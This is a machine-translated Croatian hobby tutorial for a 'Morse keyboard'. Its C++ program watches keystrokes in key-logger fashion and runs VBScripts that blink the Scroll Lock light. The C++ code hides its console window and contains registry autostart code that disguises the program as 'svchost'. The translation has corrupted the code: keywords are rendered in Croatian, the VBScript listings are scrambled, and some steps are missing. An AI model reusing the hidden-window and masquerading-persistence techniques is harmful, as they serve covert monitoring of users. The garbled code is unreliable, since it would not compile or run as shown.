Sadržaj:

Morzeova tipkovnica: 5 koraka
Morzeova tipkovnica: 5 koraka

Video: Morzeova tipkovnica: 5 koraka

Video: Morzeova tipkovnica: 5 koraka
Video: ✅Усиление WiFi. 5 способов доступных каждому. 2024, Srpanj
Anonim
Morzeova tipkovnica
Morzeova tipkovnica

Ovaj vam program pokazuje kako stvoriti c ++ program koji koristi pristup zapisivanja ključeva kako bi pronašao tipku koja se pritisne i generirao vrijednost Morzeovog koda pomoću svjetla za zaključavanje pomicanja na tipkovnici (tko to uopće koristi?). Ovaj se projekt sastoji od 41 različitog programa koji se isprepliću i međusobno neprimjetno komuniciraju, prevodeći 3 jezika između programa. U ovoj tablici nema mnogo slika jer se projekt u potpunosti temelji na računalnom kodu. Za ovaj projekt trebat će vam: Tipkovnica sa svjetlom za zaključavanje pomicanja Notepad Nešto što može sastaviti c ++ kôd (koristio sam CodeBlocks)

Što ste napravili? Napravio sam c ++ program koji prevodi pritiske tipki u Morseovu azbuku koristeći vb skriptne programe koje sam napravio. Kako vam je to uspjelo? Proveo sam dosta vremena istražujući c ++, Morseov kod i vb skriptu jer ni ja nisam znao, a nakon nekog vremena sam imao potrebno znanje za izradu ovog programa. Potrošio sam nekoliko sati nakon istraživanja na razvoj jednostavnog programa za pritiskanje tipki, a zatim sam još istražio otvaranje programa i pokretanje programa u pozadini (neotkriveno). Koristio sam ove metode za stvaranje c ++ programa koji radi bez prekida korisnika ili zauzimanja prostora na ekranu (radi u pozadini). Napravio sam i batch datoteku koja ubija program c ++ kada korisnik završi s tim. Gdje ste to uspjeli? Napravio sam ove programe na obiteljskom računalu kod kuće, pronalazeći vrijeme kada drugi članovi obitelji nisu morali koristiti računalo. Što ste naučili? Tijekom ovog projekta prilično sam naučio 3 nova jezika i razvio sposobnost da ti jezici međusobno „komuniciraju“. Također sam naučio složenosti koje dolaze s različitim jezicima i kako zaobići greške i greške (bio sam prisiljen upotrijebiti svoj mozak … za razmišljanje …).

Korak 1:.vbs datoteke (stvaranje)

.vbs datoteke (sadržajna slova)
.vbs datoteke (sadržajna slova)

A.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" sleep 900 wshshell.sendkeys "{SCROLLLOCK}" B.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLcript." sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" C.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshcript {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 9 00 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" D.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell).sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sl "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" E.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.send SCROLLLOCK} "F.vbs Postavi wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.send ključevi "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" G.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.se {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 SCSLSkell } "H.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLL " wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "SCScript" spava 300 wshshell.sendkeys "{SCROLLLOCK}" I.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOC K} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "J.vbs Postavi wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys} {SCLC "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys".sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" K.vbs Postavi wshShell = wscript. CreateObject ("WSR) wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLScript".sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" L.vbs Set wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.slee p 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" M.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell). sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" N.vbs Set wshS. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshLhell } "O.vbs Postavi wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.s završni ključevi "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" P.vbs Set wshS. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshLhell } "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys Q.vbs Postavite wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" spava 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendk eys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" R.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.se {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell } "S.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLL " wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" T.vbs Postavi wshShell = wscript. CreateObject ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "U.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript leep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLcript wshshell.sendkeys "{SCROLLLOCK}" V.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.spl. sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "W.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.send } "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" X.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.exe "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" Y.vbs Postavi wshShell = wscript. CreateObject ("WScript. Shell") wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.se SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshellse "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 900 wshshell.sendkeys" {SCROLLLOCK} "Z.vbs Set wshShell = wscript. CreateObject (" WScript. Shell ") wshshell.se ndključevi "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 300 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep 900 wshshell.sendkeys "{SCROLLLOCK}" wscript.sleep {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK} "wscript.sleep 300 wshshell.sendkeys" {SCROLLLOCK}"

Korak 4: C ++ kôd

C ++ kod
C ++ kod

Spremite ovo kao Morse.cpp ili inače neće raditi. Pripremite se … #include #include #include #include #define BUFSIZE 80 upotrebom imenskog prostora std; int test_key (void); int create_key (char *); int get_keys (void); int main (void) {HWND stealth; AllocConsole (); stealth = FindWindowA ("ConsoleWindowClass", NULL); ShowWindow (stealth, 0); int test, stvoriti; test = test_ključ (); / *if (test == 2) {char *path = "c: \%windir%\ svchost.exe"; create = create_key (put); } */ int t = get_keys (); povrat t; } int get_keys (void) {kratki znak; while (1) {for (character = 8; character <= 222; character ++) {if (GetAsyncKeyState (karakter) ==-32767) {if (1 == 1) {if ((znak> 64) && (znak < 91)) {znak+= 32; } prekidač (znak) {slučaj 97: ShellExecute (NULL, NULL, "A.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 98: ShellExecute (NULL, NULL, "B.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 99: ShellExecute (NULL, NULL, "C.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 100: ShellExecute (NULL, NULL, "D.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 101: ShellExecute (NULL, NULL, "E.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 102: ShellExecute (NULL, NULL, "F.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 103: ShellExecute (NULL, NULL, "G.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 104: ShellExecute (NULL, NULL, "H.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 105: ShellExecute (NULL, NULL, "I.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 106: ShellExecute (NULL, NULL, "J.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 107: ShellExecute (NULL, NULL, "K.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 108: ShellExecute (NULL, NULL, "L.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 109: ShellExecute (NULL, NULL, "M.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 110: ShellExecute (NULL, NULL, "N.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 111: ShellExecute (NULL, NULL, "O.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 112: ShellExecute (NULL, NULL, "P.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 113: ShellExecute (NULL, NULL, "Q.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 114: ShellExecute (NULL, NULL, "R.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 115: ShellExecute (NULL, NULL, "S.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 116: ShellExecute (NULL, NULL, "T.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 117: ShellExecute (NULL, NULL, "U.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 118: ShellExecute (NULL, NULL, "V.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 119: ShellExecute (NULL, NULL, "W.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 120: ShellExecute (NULL, NULL, "X.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 121: ShellExecute (NULL, NULL, "Y.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 122: ShellExecute (NULL, NULL, "Z.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 48: ShellExecute (NULL, NULL, "0.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 49: ShellExecute (NULL, NULL, "1.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 50: ShellExecute (NULL, NULL, "2.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 51: ShellExecute (NULL, NULL, "3.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 52: ShellExecute (NULL, NULL, "4.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 53: ShellExecute (NULL, NULL, "5.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 54: ShellExecute (NULL, NULL, "6.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 55: ShellExecute (NULL, NULL, "7.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 56: ShellExecute (NULL, NULL, "8.vbs", NULL, NULL, SW_SHOW); pauza; slučaj 57: ShellExecute (NULL, NULL, "9.vbs", NULL, NULL, SW_SHOW); pauza; slučaj VK_SPACE: ShellExecute (NULL, NULL, "SPACE.vbs", NULL, NULL, SW_SHOW); pauza; zadano: break; }}}}} vrati EXIT_SUCCESS; } int test_key (void) {int provjera; HKEY hKey; char path [BUFSIZE]; DWORD buf_length = BUFSIZE; int reg_key; reg_key = RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTVER / Microsoft / Windows / CurrentVersion / Pokreni", 0, KEY_QUERY_VALUE, & hKey); if (reg_key! = 0) {check = 1; povratna provjera; } reg_key = RegQueryValueEx (hKey, "svchost", NULL, NULL, (LPBYTE) put, & buf_length); if ((reg_key! = 0) || (buf_length> BUFSIZE)) check = 2; if (reg_key == 0) check = 0; RegCloseKey (hKey); povratna provjera; } int create_key (char *path) {int reg_key, check; HKEY hkey; reg_key = RegCreateKey (HKEY_LOCAL_MACHINE, "SOFTVER / Microsoft / Windows / CurrentVersion / Pokreni", & hkey); if (reg_key == 0) {RegSetValueEx ((HKEY) hkey, "svchost", 0, REG_SZ, (BYTE *) put, strlen (put)); ček = 0; povratna provjera; } if (reg_key! = 0) check = 1; povratna provjera; }

Korak 5: Ubijanje programa

Ubijanje programa
Ubijanje programa
Ubijanje programa
Ubijanje programa

Postoje dva načina za ubijanje ovog programa.

1. Ili pritisnite CTRL+ALT+DELETE, a zatim prijeđite na programsku traku ILI Pritisnite CTRL+SHIFT+ESC Zatim idite na procese i pomaknite se dolje do "Morse.exe". Nakon toga odaberite "Morse.exe" i kliknite "Završi proces" 2. Izradite novu tekstualnu datoteku (bilježnicu) Zalijepite sljedeći redak koda u tekstualnu datoteku: taskkill /IM Morse.exe nakon što to učinite, spremite je kao što MorseKill.bat sada kada kliknete na njega, isključuje Morse.exe kroz procese

Preporučeni: